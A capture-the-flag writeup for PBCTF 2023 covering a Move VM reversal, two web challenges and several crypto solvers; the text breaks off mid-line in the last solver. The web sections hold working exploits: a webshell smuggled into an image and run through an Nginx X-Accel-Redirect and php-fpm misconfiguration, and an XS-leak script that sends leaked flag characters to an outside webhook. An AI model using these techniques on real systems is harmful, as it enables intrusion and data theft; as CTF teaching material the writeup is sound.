# PBCTF 2023 Writeup - Straw Hat [TOC] ## Reverse ### Move VM Disassembler: ```rust= use std::fs; use move_binary_format::file_format::CompiledModule; use move_binary_format::binary_views::BinaryIndexedView; use move_ir_types::location::Spanned; use move_disassembler::disassembler::{Disassembler, DisassemblerOptions}; use move_bytecode_source_map::mapping::SourceMapping; fn main() { let bytecode_bytes = fs::read("message.mv").expect("Unable to read bytecode file"); let module = CompiledModule::deserialize(&bytecode_bytes) .expect("Module blob can't be deserialized"); let biview = BinaryIndexedView::Module(&module); let mapping = SourceMapping::new_from_view(biview, Spanned::unsafe_no_loc(()).loc).expect("Unable to build dummy source mapping"); let mut disassembler_options = DisassemblerOptions::new(); disassembler_options.print_code = true; disassembler_options.only_externally_visible = false; disassembler_options.print_basic_blocks = true; disassembler_options.print_locals = true; let disassembler = Disassembler::new(mapping, disassembler_options); let dissassemble_string = disassembler.disassemble().expect("Unable to dissassemble"); println!("{}", dissassemble_string); } ``` Manually reverse the VM and solve the lfsr. Solver: ```python= target = [2209421562, 4020009855, 2511570847, 825727845, 2747945899, 2434240953, 3923412385, 1510700589, 3658116609, 1210550661, 2892531646, 648401340, 2537403886] def inv_lfsr(x): for _ in range(8): if x & 0x80000000: x = ((x ^ 0xfff63b78) << 1) ^ 0x1 else: x <<= 1 return x flag = b'' for part in target: flag += inv_lfsr(inv_lfsr(inv_lfsr(inv_lfsr(part)))).to_bytes(4, 'little') print(flag) ``` Full version: https://leoq7.com/2023/02/PBCTF-Move-VM/ ## Web ### Makima in fpm config: ``` security.limit_extensions = ``` This means that files that do not end with `.php` can also be executed, We can use the URL `/uploads/xxx.png/.php` to make fpm execute the uploaded .png file as a php file. in Nginx config: ```nginx= location ~ \.php$ { internal; include fastcgi_params; fastcgi_intercept_errors on; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_pass unix:/run/php/php7.4-fpm.sock; } ``` The handling of .php is internal, meaning that we cannot access the .php file directly from the outside, but must go through the four methods defined in `http://nginx.org/en/docs/http/ngx_http_core_module.html#internal`. In the documentation we can find that if the upstream server uses the `X-Accel-Redirect` header, then it can jump to the internal route. So, we first upload a php webshell that can bypass the processing of the imagecreatefromstring function, then use `X-Accel-Redirect` to jump to the uploaded image file and make fpm run it as a php file. vps: ```python=! from http.server import HTTPServer, BaseHTTPRequestHandler import base64 host = ('0.0.0.0', 8888) img = base64.b64decode(b'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAA6AEADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwA8Pz1zeXN0ZW0oJF9HRVRbMF0pOz8+9uooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooA//9k=') class Resquest(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('X-Accel-Redirect','/uploads/bcca0d143b421.jpg/.php?0=cat /flag > /var/www/html/uploads/2.jpg') self.send_header('Content-Type','image/jpeg') self.end_headers() #self.wfile.write(img) self.wfile.write(b'') if __name__ == '__main__': server = HTTPServer(host, Resquest) print("Starting server, listen at: %s:%s" % host) server.serve_forever() ``` Client: ```python= import requests import re HOST = 'http://makima.chal.perfect.blue/' r = requests.post(f'{HOST}/',data={"url":"http://vps:8888"}) g = re.findall('<p>Message: (uploads/.*)</p>',r.text) print(g[0]) r = requests.get(f'{HOST}/{g[0]}') print(r.text) ``` ### XSPS Part of `/static/main.js` ```javascript window.addEventListener('hashchange', async function(){ let search_query = JSON.parse(atob(location.hash.substring(1))); search_name(search_query); }); async function search_name(search_data){ let should_open = search_data['open'] let query = search_data['query'] let notes = await get_all_notes(); let found_note = notes.find((val) => val.note.toString().startsWith(query)); if(found_note == undefined){ document.body.search_result.href = ''; document.body.search_result.text = 'NOT FOUND' document.body.search_result.innerHTML += '<br>' } document.body.search_result.href = `note/${found_note.name}`; document.body.search_result.text = 'FOUND' document.body.search_result.innerHTML += '<br>' if(should_open)document.body.search_result.click(); } ``` If the var `should_open` is true, we will open the note's url after found it. As we all known, in javascript, the `window.history` object has a `length` attribute, which counts the number of pages we have visited before. For example: ```html <script> let param = new URLSearchParams(location.search); // ?leak=pbctf let data = {'query': param.get('leak'), 'open': true}; let text = btoa(JSON.stringify(data)).replaceAll('=', ''); let w = window.open('http://xsps.chal.perfect.blue/'); setTimeout(() => { w.location = 'http://xsps.chal.perfect.blue/#' + text; }, 1000); setTimeout(() => { w.location = 'about:blank'; }, 2000); setTimeout(() => { console.log(w.history.length); }, 3000) </script> ``` When we find the flag note, the value of `w.history.length` will become `4`, otherwise, it will become `3`. `w.history.length == 4` means the page redirects as follows: ``` 1. http://xsps.chal.perfect.blue/ 2. http://xsps.chal.perfect.blue/#<base64-content> (found) 3. http://xsps.chal.perfect.blue/note/flag 4. about:blank ``` Similarly, `w.history.length == 3` means the page redirects as follows: ``` 1. http://xsps.chal.perfect.blue/ 2. http://xsps.chal.perfect.blue/#<base64-content> (not found) 3. about:blank ``` So we can use the difference in the value of `w.history.length` to leak the flag In addition, we used `about:blank` here to bypass the `Same-Origin Policy`, otherwise we can not get the value of `w.history.length`. Then in the `bot.js`, we have a 20-second time limit. ```javascript async function browse(url){ console.log(`Browsing -> ${url}`); const browser = await (await puppeteer.launch({ headless: true, args: ['--no-sandbox', '--disable-gpu'], executablePath: "/usr/bin/google-chrome" })).createIncognitoBrowserContext(); const page = await browser.newPage(); await page.setCookie({ name: 'session', value: process.env.CHALL_COOKIE, domain: process.env.CHALL_HOST }); try { const resp = await page.goto(url, { waitUntil: 'load', timeout: 20 * 1000, }); } catch (err){ console.log(err); } await page.close(); await browser.close(); console.log(`Done visiting -> ${url}`) } ``` In fact, when the dom is loaded, puppeteer will immediately close the page because `waitUntil` is set to `loaded`. It is far from 20 seconds. So we need to create a delay server which will help us delay the process time up to 20s. ```python from flask import Flask import time app = Flask(__name__) @app.route('/delay') def delay(): time.sleep(20) return "ok" if __name__ == '__main__': app.run('0.0.0.0', '65333', debug=False, ssl_context=('example.com_bundle.crt', 'example.com.key')) ``` And we must ensure that all the delay server, exp server and webhook server follow https protocol The final exploit is as follows: ```html <script> function xsleaks(leak) { let data = {'query': leak, 'open': true}; let text = btoa(JSON.stringify(data)).replaceAll('=', ''); let w = window.open('http://xsps.chal.perfect.blue/'); fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?process=' + leak.slice(-1).charCodeAt()); // fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?openwindow'); setTimeout(() => { w.location = 'http://xsps.chal.perfect.blue/#' + text; // fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?requesthash'); setTimeout(() => { w.location = 'about:blank'; // fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?aboutblank'); setTimeout(() => { // fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?historylength=' + w.history.length); console.log(w.history.length); if (w.history.length == 4) { fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?leak=', { method: 'POST', body: leak }).catch((msg) => {}); } w.close(); }, 500) }, 500); }, 500); } let param = new URLSearchParams(location.search); // let leak = param.get('leak'); let start = param.get('start'); // xsleaks('pbctf'); let sleepTime = 0; for (let i = start; i <= 127; i ++) { let c = String.fromCharCode(i); setTimeout(xsleaks, sleepTime, 'pbctf{' + c); sleepTime += 1500; } </script> <img src="https://example.com:65333/delay" /> ``` On average, every time we report the url to admin bot, we can fuzz 12 chars. When the webhook server receives a post request, it means that we have got part of the flag, then we can modify the source code and continue to leak the next char. I'm not very good at javascript, so I did the whole process semi-manually (sounds stupid XD) flag: `pbctf{V_5w33p1ng_n0t3s_und3r_4_r4d10_s1l3nT_RuG}` ## Crypto ### Blocky - 0 ``` ❯ nc blocky-0.chal.perfect.blue 1337 > E Input (in hex): 67696d6d65666c6167 Result: 0e6191b980095775abb0a5a47d9a6450ea8156ab4b35cfaca0e9384d47aa63549a1a073a > D Input (in hex): 0e6191b980095775abb0a5a47d9a6450ea8156ab4b35cfaca0e9384d47aa63549a1a073a pbctf{actually_I_made_the_same_mistake_in_CODEGATE_Finals} ``` ### My ECC Service ```python= from hashlib import sha256 MODS = [ 942340315817634793955564145941, 743407728032531787171577862237, 738544131228408810877899501401, 1259364878519558726929217176601, 1008010020840510185943345843979, 1091751292145929362278703826843, 793740294757729426365912710779, 1150777367270126864511515229247, 763179896322263629934390422709, 636578605918784948191113787037, 1026431693628541431558922383259, 1017462942498845298161486906117, 734931478529974629373494426499, 934230128883556339260430101091, 960517171253207745834255748181, 746815232752302425332893938923, ] E = [EllipticCurve(GF(p), [-3, 7]) for p in MODS] G = [E(2,3) for E in E] payload = bytes.fromhex("0203ddb70b475903ec6c0782d1075252a863b726aa16ff082c6fa5744b75e235d5a9fff0031c951f75873ff3e1bcdc8063095dd5455690788558b0db0b14067f27da477989a4067bc7e2400184e28b53edb1116ad06ac5e40310627c1f9388a35cfd43af3908ebf36daa2b98dbac8b34aa56021e4d41fa52d2c5cbdca0cd05043a483f3fc79f8288f1b9271d03a10de531a410bcf99460cf4f057aaee73a7ae5d36552a4d5d608418ff7fd2a8372f4e21aaabf019130ba0239f85686a62c049a0666e1ec3729c25a5cbf063141029e58760debdb3a8bcf10b7a9") P = E[12].lift_x(GF(MODS[12])(int(payload[166:179].hex(), 16))) dlog = discrete_log(P,G[12],operation='+') state = int(dlog).to_bytes(10,'big') print('state recovered:', state.hex()) assert sha256(state).digest()[:8] == payload[2:10] state = sha256(state + b'wow').digest()[:10] print('new state:', state.hex()) new_payload = b'\x02\x03' + sha256(state).digest()[:8] + b''.join([int((int(state.hex(), 16) * G)[0]).to_bytes(13,'big') for G in G]) print(new_payload.hex()) ''' state recovered: de74c3ba4ee7784d204b new state: ba7627801cf2fdd92d07 0203dc753b87a7e7e96708e432734f36461fd2d833805d0816d619cd85b5eeba115efcda0173dda2769877e85871fc276403455383868e3adc41461527c3049f080047e17e5f5abc645e1f02333360de49a1422766fa6ada05694291a03a97e661bbaea23b0995e48169a1c16f90b525b1d00710397feed634e094dc21b4d704e0bf232b309a19b36cb44bf700c40f3e49b9aba82b9b94bd14074860a9834adea0ba3549bea102b8023367064a0f525ae5df7401957137eff626185350a3a2e5076ca96b21a0ff2808bdbc236b03b96d9b56165e9e56ef4e9317 ''' ``` ``` ❯ nc my-ecc-service.chal.perfect.blue 1337 > G Payload: 0203ddb70b475903ec6c0782d1075252a863b726aa16ff082c6fa5744b75e235d5a9fff0031c951f75873ff3e1bcdc8063095dd5455690788558b0db0b14067f27da477989a4067bc7e2400184e28b53edb1116ad06ac5e40310627c1f9388a35cfd43af3908ebf36daa2b98dbac8b34aa56021e4d41fa52d2c5cbdca0cd05043a483f3fc79f8288f1b9271d03a10de531a410bcf99460cf4f057aaee73a7ae5d36552a4d5d608418ff7fd2a8372f4e21aaabf019130ba0239f85686a62c049a0666e1ec3729c25a5cbf063141029e58760debdb3a8bcf10b7a9 > P Payload: 0203dc753b87a7e7e96708e432734f36461fd2d833805d0816d619cd85b5eeba115efcda0173dda2769877e85871fc276403455383868e3adc41461527c3049f080047e17e5f5abc645e1f02333360de49a1422766fa6ada05694291a03a97e661bbaea23b0995e48169a1c16f90b525b1d00710397feed634e094dc21b4d704e0bf232b309a19b36cb44bf700c40f3e49b9aba82b9b94bd14074860a9834adea0ba3549bea102b8023367064a0f525ae5df7401957137eff626185350a3a2e5076ca96b21a0ff2808bdbc236b03b96d9b56165e9e56ef4e9317 pbctf{Which_method_did_you_use?_Maybe_it_also_works_on_the_second_challenge!} ``` ### My ECC Service 2 ```python= import time, random from functools import reduce from hashlib import sha256 #params = [[942340315817634793955564145941, [20525863, 10268606587, 745149784397], [4531, 101335, 2399]], [743407728032531787171577862237, [7, 53, 39135433, 89390597, 392856241], [3, 8, 6256, 9455, 970]], [738544131228408810877899501401, [619, 1613, 5897, 10627, 168601, 11668048619], [25, 41, 77, 104, 411, 343]], [1259364878519558726929217176601, [7, 28310923, 12871082639, 27429123191], [3, 5321, 113451, 693]], [1008010020840510185943345843979, [16057, 8827037, 65312497, 5444515163], [127, 2972, 8082, 366]], [1091751292145929362278703826843, [13, 1153, 984391, 9510437, 1945015005697], [4, 34, 993, 3084, 2940]], [793740294757729426365912710779, [47, 53, 67, 101, 1783, 498949351, 2646492839], [7, 8, 9, 11, 43, 22338, 288]], [1150777367270126864511515229247, [29, 673837, 285249463, 3225771869743], [6, 821, 16890, 14731]], [763179896322263629934390422709, [4957, 22409, 2608222219, 9756120859], [71, 150, 51071, 2047]], [636578605918784948191113787037, [43, 347, 691, 5903, 4728121, 122897257187], [7, 19, 27, 77, 2175, 2054]], [1026431693628541431558922383259, [139, 4909, 1172273, 15937777, 4025647253], [12, 71, 1083, 3993, 312]], [1017462942498845298161486906117, [7, 19, 196139, 314257, 9393641, 734026229], [3, 5, 443, 561, 3065, 130]], [734931478529974629373494426499, [7, 37, 16661, 86771, 32362921, 121298017], [3, 7, 130, 295, 5689, 320]], [934230128883556339260430101091, [31, 199, 116689, 210707317, 1539818639309], [6, 15, 342, 14516, 2828]], [960517171253207745834255748181, [11, 10047467, 1119725437, 1293579322613], [4, 3170, 33463, 3130]], [746815232752302425332893938923, [19, 41, 53, 8209, 5694702539, 96733867063], [5, 7, 8, 91, 75464, 796]]] params = [[942340315817634793955564145941, [20525863, 10268606587, 745149784397], [3208, 71659, 610394]], [743407728032531787171577862237, [53, 39135433, 89390597, 392856241], [10, 4428, 6690, 14020]], [738544131228408810877899501401, [619, 1613, 5897, 10627, 168601, 11668048619], [22, 33, 59, 77, 295, 76385]], [1259364878519558726929217176601, [28310923, 12871082639, 27429123191], [3767, 80226, 117114]], [1008010020840510185943345843979, [16057, 8827037, 65312497, 5444515163], [94, 2105, 5719, 52180]], [1091751292145929362278703826843, [13, 1153, 984391, 9510437, 1945015005697], [7, 29, 706, 2185, 986162]], [793740294757729426365912710779, [47, 53, 67, 101, 1783, 498949351, 2646492839], [9, 10, 10, 12, 34, 15799, 36381]], [1150777367270126864511515229247, [29, 673837, 285249463, 3225771869743], [8, 585, 11947, 1269999]], [763179896322263629934390422709, [4957, 22409, 2608222219, 9756120859], [54, 110, 36117, 69848]], [636578605918784948191113787037, [43, 347, 691, 5903, 4728121, 122897257187], [9, 18, 23, 59, 1542, 247893]], [1026431693628541431558922383259, [139, 4909, 1172273, 15937777, 4025647253], [13, 54, 770, 2827, 44869]], [1017462942498845298161486906117, [19, 196139, 314257, 9393641, 734026229], [8, 318, 401, 2172, 19162]], [734931478529974629373494426499, [37, 16661, 86771, 32362921, 121298017], [9, 96, 213, 4027, 7792]], [934230128883556339260430101091, [31, 199, 116689, 210707317, 1539818639309], [8, 14, 246, 10269, 877449]], [960517171253207745834255748181, [11, 10047467, 1119725437, 1293579322613], [7, 2246, 23666, 804237]], [746815232752302425332893938923, [19, 41, 53, 8209, 5694702539, 96733867063], [8, 9, 10, 69, 53365, 219929]]] class ECPoint: def __init__(self, point, mod): self.x = point[0] self.y = point[1] self.mod = mod def inf(self): return ECPoint((0, 0), self.mod) def _is_inf(self): return self.x == 0 and self.y == 0 def __eq__(self, other): assert self.mod == other.mod return self.x == other.x and self.y == other.y def __add__(self, other): assert self.mod == other.mod P, Q = self, other if P._is_inf() and Q._is_inf(): return self.inf() elif P._is_inf(): return Q elif Q._is_inf(): return P if P == Q: lam = (3 * P.x**2 - 3) * inverse(2 * P.y, self.mod) % self.mod elif P.x == Q.x: return self.inf() else: lam = (Q.y - P.y) * inverse(Q.x - P.x, self.mod) % self.mod x = (lam**2 - P.x - Q.x) % self.mod y = (lam * (P.x - x) - P.y) % self.mod return ECPoint((x, y), self.mod) def __rmul__(self, other: int): base, ret = self, self.inf() while other > 0: if other & 1: ret = ret + base other >>= 1 base = base + base return ret from pwn import * z = remote("my-ecc-service-2.chal.perfect.blue", 1337) z.recvuntil(b'>') z.sendline(b'G') z.recvuntil(b'Payload: ') payload = bytes.fromhex(z.recvline().strip().decode().strip()) print(payload.hex()) z.recvuntil(b'>') z.sendline(b'V') z.recvuntil(b'Payload: ') z.sendline("0202" + payload[2:].hex()) z.recvuntil(b'>') z.sendline(b'G') z.recvuntil(b'Payload: ') payload = bytes.fromhex(z.recvline().strip().decode().strip()) print(payload.hex()) def ModSquareRoot(a, p): ''' Solve x such that `x^2 ≡ a (mod p)` where p is a prime, returns all the solution(s), None if no solution. ''' # assert(isPrime(p)) l = Legendre(a, p) # The Legendre symbol of a over p. if l == -1: return None elif l == 0: return [0] if p % 4 == 3: # which is quite easy to compute. R = pow(a, (p + 1) // 4, p) return [R, p - R] else: return TonelliShanksAlgorithm(a, p) def TonelliShanksAlgorithm(a, p): ''' Solve the equation `x^2 ≡ a (mod p)` where `p ≡ 1 (mod 4)`. returns all the two solutions to the equation. ''' # 1. Factor `p - 1` into `2^S * Q` where Q is odd. Q = p - 1 S = 0 while Q & 1 == 0: S += 1 Q //= 2 # 2. Find a NR(p). y = 2 while Legendre(y, p) != -1: y += 1 # 3. Calculate the four quantities. R = pow(a, (Q + 1) // 2, p) c = pow(y, Q, p) t = pow(a, Q, p) E = S # 4. Loop. while t != 1: for i in range(1, E): if pow(t, 2 ** i, p) == 1: break b = pow(c, 2 ** (E - i - 1), p) R = R * b % p c = pow(b, 2, p) t = c * t % p E = i return [R, p - R] def Legendre(a, p): ''' The Legendre Sybmol. returns 1 if a is QR(p), or -1 if NR(p), or 0 if a divides p. ''' if a % p == 0: return 0 # Euler's Criterion return 1 if pow(a, (p - 1) // 2, p) == 1 else -1 # Constructive solution for coprime moduli. def CRT_constructive(ai, mi): # # make sure every two *m*s in *mi* are relatively prime # lcm = lambda x, y: x * y // gcd(x, y) # mul = lambda x, y: x * y # assert(reduce(mul, mi) == reduce(lcm, mi)) assert(isinstance(mi, list) and isinstance(ai, list)) M = reduce(lambda x, y: x * y, mi) ai_ti_Mi = [a * (M // m) * egcd(M // m, m)[0] for (m, a) in zip(mi, ai)] return reduce(lambda x, y: x + y, ai_ti_Mi) % M def egcd(a, b): ''' Extended Euclidean Algorithm. returns x, y, gcd(a,b) such that ax + by = gcd(a,b). ''' u, u1 = 1, 0 v, v1 = 0, 1 while b: q, r = divmod(a, b) u, u1 = u1, u - q * u1 v, v1 = v1, v - q * v1 a, b = b, r return u, v, a def dlp(G, P, phi, m): assert phi * G == O assert G != O mG = m * G kmG = O S = {} for i in range(m): S[kmG.x] = i kmG = kmG + mG _P = P for i in range(m): if P.x in S: if ((m * S[P.x] - i) * G).x == _P.x: return m * S[P.x] - i elif ((m * S[P.x] + i) * G).x == _P.x: return m * S[P.x] + i else: print('error') P = P + G return 0 def inverse(a,b): return pow(a,-1,b) t0 = time.time() state = b'' last = 0 for i in range(16): ti = time.time() p, fct, m = params[i] G = ECPoint((2,2),p) O = 0 * G xP = int(payload[13*i+10:13*i+23].hex(), 16) yP = ModSquareRoot(xP*xP*xP - 3*xP + 2, p) P = ECPoint((xP,yP[0]),p) P2 = ECPoint((xP,yP[1]),p) r = [] for j in range(len(fct)): assert (p+1)%fct[j] == 0 r.append(dlp((p+1)//fct[j]*G,(p+1)//fct[j]*P,fct[j],m[j])) if r[-1] == 0: r[-1] = dlp((p+1)//fct[j]*G,(p+1)//fct[j]*P2,fct[j],m[j]) assert r[-1] != 0 td = time.time() print(i, r, td-t0, td-ti) #continue v = p while v.bit_length() > 80: _r = [random.choice([r,-r]) for r in r] v = CRT_constructive(_r,fct) #print(state) print(i, v, td-t0, td-ti) state += int(v).to_bytes(10, 'big') last ^= v assert last == 0 assert sha256(state).digest()[:8] == payload[2:10] new_state = b'' res = [] last = 0 for i in range(15): hsh = sha256(state + i.to_bytes(1, 'big')).digest()[:10] new_state += hsh v = int.from_bytes(hsh, 'big') last ^= v res.append(v) hsh = last.to_bytes(10, 'big') new_state += hsh res.append(last) key = sha256(new_state).digest()[:8] payload = b'\x02\x03' + key + b''.join([int((res[i] * ECPoint((2,2), params[i][0])).x).to_bytes(13,'big') for i in range(16)]) print(payload.hex()) z.recvuntil(b'>') z.sendline(b'P') z.recvuntil(b'Payload: ') z.sendline(payload.hex()) z.interactive() ``` ``` ❯ python3 myECC2_autosolve.py [+] Opening connection to my-ecc-service-2.chal.perfect.blue on port 1337: Done 02035ef7bf299df4472e0164b67395d6526e3e2437d77500302089952dc580efc9c0f73207bf45a5c1bb5c2b0f6432e78c0315b11457f49da33432dd4fa20c0a7a54d0c5b0513fba10a9ef02cb9bf46fd8de7d958df1aa0c00d932c4fb9e66903fb0e2a90f0405f1788804d68b6a408c57fd05046cd6bbd2c4ca00cb8c7b8306b9b4bfb2864797c8ea316a9900e11147284cd191b30bb6d844070a30bffe49cf3f8fc064e24706632d5378e01f02f86e83d284081eac5510fda342245a4085b7091df258d1486e74fb3f54a44a00463b3cc3e2f3aeda79e0c07c 0203a9c14216845dc67609701bce6bcf30255c03b831a300e5dc87c947440fcb7c5b304908ddd9d8c8850339da3c8f2c510cf66cb04801aa5c8b0200734005917adc9ea833be1614d94e4007b56564f9cf36e36c4bf89f72048459712edf307ebd88ed97a2067fe95be6e7f15462df948ea80543d0ad53338b3e3f0ab3cdb505ae86197af2c632e643b49e8e005bdfa5b01cdfe2b9e2696ca701efd7f7c5615f82f78ef96875029211426bccf65ca5216873d5008ddac6b3e0ad7f7290ff87c707554cca7e43c2ffadaff484fa009681746ab7ed8ecad586ff53 0 [6152030, 1996099676, 270892214785] 10.466821432113647 10.466814756393433 0 587538348311658764032645 10.466821432113647 10.466814756393433 1 [21, 2288829, 14011761, 42484164] 11.10499882698059 0.6341526508331299 1 1021200066049654010592365 11.10499882698059 0.6341526508331299 2 [386, 121, 1013, 2997, 78271, 2806966721] 12.802122354507446 1.6936366558074951 2 627055056956025882590443 12.802122354507446 1.6936366558074951 3 [3644616, 4092924491, 12285606896] 17.809441089630127 5.0028040409088135 3 2103529597256870569233 17.809441089630127 5.0028040409088135 4 [1724, 3395122, 9417057, 660120503] 19.287468910217285 1.474604845046997 4 89126005804588207119968 19.287468910217285 1.474604845046997 5 [14, 447, 403091, 1037532, 787059087084] 36.41745853424072 17.12724542617798 5 418440149868726232142494 36.41745853424072 17.12724542617798 6 [64, 81, 70, 3, 364, 10693196, 362968836] 37.77535939216614 1.3539884090423584 6 959842694054438415995086 37.77535939216614 1.3539884090423584 7 [56, 319099, 24650537, 1515372754853] 70.20461678504944 32.426183462142944 7 137485274152861911026847 70.20461678504944 32.426183462142944 8 [1010, 6343, 723233502, 1505907397] 72.3042733669281 2.096038341522217 8 143942584513953630811980 72.3042733669281 2.096038341522217 9 [40, 208, 20, 936, 1795582, 16498259435] 75.89333176612854 3.585162878036499 9 303799932057112355814090 75.89333176612854 3.585162878036499 10 [52, 234, 245918, 480102, 901852239] 77.02222943305969 1.1240065097808838 10 956917318582078005494652 77.02222943305969 1.1240065097808838 11 [56, 75390, 75167, 2362253, 64398119] 77.60809993743896 0.5812718868255615 11 41285615950085095245531 77.60809993743896 0.5812718868255615 12 [36, 1339, 11343, 6171340, 47952400] 77.94101476669312 0.3284580707550049 12 1153988306164918695952447 77.94101476669312 0.3284580707550049 13 [56, 84, 23288, 87848668, 312984684497] 97.22236824035645 19.278303384780884 13 610227568672536417666893 97.22236824035645 19.278303384780884 14 [21, 3890536, 341634255, 46665149208] 118.76676654815674 21.53615117073059 14 584458002103558853525199 118.76676654815674 21.53615117073059 15 [7, 27, 81, 2187, 1187990397, 40152586562] 124.92961072921753 6.158917427062988 15 219055839407991693483553 124.92961072921753 6.158917427062988 02033716fceaa22787490a9f40ec749b147df3c61fcc4c02acaae8f63992e889f91d639700f1d178091d9edc105d157f6002d042cda7a7b7e9df42f63bee0183a04f48f5e9a95f80dcdaf602c77e04426e123dde13fd2e2905c5b16e035b36f0fa7c6c36050af44ee4eebed0f020b25e8b5705fb695aaefe54add8ca7b34be01d5edc79b74c3832fe34e555f05f8846b6e6f4e49b9d572f47a09fbfc6dc33c38fd70e37ba1ea052ae7eb6546c9902e2294b4680704ae8727964ae465c5b8310400c923df3d7a37f964b37df67b08cb526d9a8ce471ffbf41c1ba [*] Switching to interactive mode pbctf{It_was_difficult_make_this_idea_better...Good_job!} [*] Got EOF while reading in interactive ``` ### Remake ```python= hint = int.from_bytes(b"Inspired by theoremoon's SECCON 2022 Finals Challenge - Hell. Thank you!", "big") kp = hint + 540914350057159927735436910109553086959907629357396102386062800609858847095404691934517983640846787552171946520460064397364544720996858815571065665255645 print(int(kp).bit_length(),kp) fkp = factor(kp) print(fkp) p = fkp[-1][0] print(int(p).bit_length(),p) PR.<x> = PolynomialRing(GF(p)) u1,v1 = (x^2 + 14762123602851553604749022996287576858980220577795651427829269858766434621297346961387874961427459051934768224338447011128244905975068497090840444625419470*x + 8519674750729750620690035589812482119785861876353468044895414394332293279114303071755954851101633319350193436546144692795403444364414318973131157246232656, 17770738679279057916355557895675090129563269633432826251932824463003364931275912702916209480950481351904761364290424406482997835483807402182326014818733821*x + 12306668467523337827805393760490897581559948654643366727345701375757143864825442910779617850907143245102792529282031529618639723158417652048624567379151171) u3,v3 = (x^3 + 13441279154284544764330805782065565325543470739559917045273482055514440837785754044182874902421009026981197721504820302867945812937528249594953326223176272*x^2 + 3795282115520834934850220740151212731596814319504043674340537364041453624883995759365119899076774262882230308591629439035308527946872182029742910504122735*x + 3726617245981099594981815385059428688276726297460965450328320328460867196111587736356492934195556032891106446058683147130913147722036293641303193921962091, 2103349591221335944593862709600493681857281410337020721978302326614691696399677635217262732543672829811190387220058078405239568477387817550236173432744263*x^2 + 4784247634355946154999459446762911004042472267922959302672838559247991353014786987556174410735592161587023899368989617780068662559773261109676326152316907*x + 2640959823121300693709616791657128464111647959613642856293592234010564318329382577397798309822254798484629398268742247779165733848105319417195858443049412) u4,v4 = (x + 540914350057159927735436910109553086959907629357396102386062800609858847095404691934517983640846787552171946520460064397364544720996858815571065665255645, 541917331856005964100090629475512429550322452567752818120774876171019476274441296070275457561095853517207532108745504694853066426720092700847788666013730) A = matrix(GF(p),8,6) for i in range(8): k1 = x^i % u1 k3 = x^i % u3 k4 = x^i % u4 if i == 1: c1 = [0,1] else: c1 = k1.coefficients() if i < 3: c3 = [0]*3 c3[i] = 1 else: c3 = k3.coefficients() c4 = k4.coefficients() if i < 6: for j in range(len(c1)): A[i,j] = c1[j] for j in range(len(c3)): A[i,j+2] = c3[j] for j in range(len(c4)): A[i,j+5] = c4[j] k1 = v1 * v1 % u1 k3 = v3 * v3 % u3 k4 = v4 * v4 % u4 c1 = k1.coefficients() c3 = k3.coefficients() c4 = k4.coefficients() b = vector(GF(p), 6) for j in range(len(c1)): b[j] = c1[j] for j in range(len(c3)): b[j+2] = c3[j] for j in range(len(c4)): b[j+5] = c4[j] C = matrix(ZZ,15,15) for i in range(8): C[i,i] = 1 C[8,8] = 1 << 336 for i in range(6): for j in range(8): C[j,i+9] = int(A[j,i]) << 500 C[8,i+9] = int(b[i]) << 500 C[i+9,i+9] = int(p) << 500 ans = C.LLL() #print(ans) f1 = sum([-ans[0][i]*x^i for i in range(6)]) print(f1) f2 = sum([-ans[0][i]*x^i for i in range(8)]) print(f2) f2 = f2.coefficients() u3 = u3.coefficients() v3 = v3.coefficients() print(len(f2),len(u3),len(v3)) PR.<x3,k0,k1,ux> = PolynomialRing(GF(p)) u3 = [i*ux for i in u3] a3 = [-x3**5, 5*x3**4, -10*x3**3, 10*x3**2, -5*x3, 1] b3 = [u3[0]*k0 + v3[0], u3[0]*k1 + u3[1]*k0 + v3[1], u3[1]*k1 + u3[2]*k0 + v3[2], u3[2]*k1 + u3[3]*k0, u3[3]*k1] fs = [0] * 9 for i in range(4): for j in range(6): fs[i+j] += u3[i] * a3[j] for i in range(5): for j in range(5): fs[i+j] += b3[i] * b3[j] for i in range(8): fs[i] -= f2[i] I3 = Ideal(fs) B3 = I3.groebner_basis() print(B3) flag3 = int(-B3[0](x3=0)).to_bytes(64,'big') print(flag3) f1 = f1.coefficients() u1 = u1.coefficients() v1 = v1.coefficients() print(len(f1),len(u1),len(v1)) PR.<s,n,k0,k1,ux> = PolynomialRing(GF(p)) u1 = [i*ux for i in u1] #a1 = [x1*x1*x2*x2, -2*(x1+x2)*x1*x2, x1*x1+4*x1*x2+x2*x2, 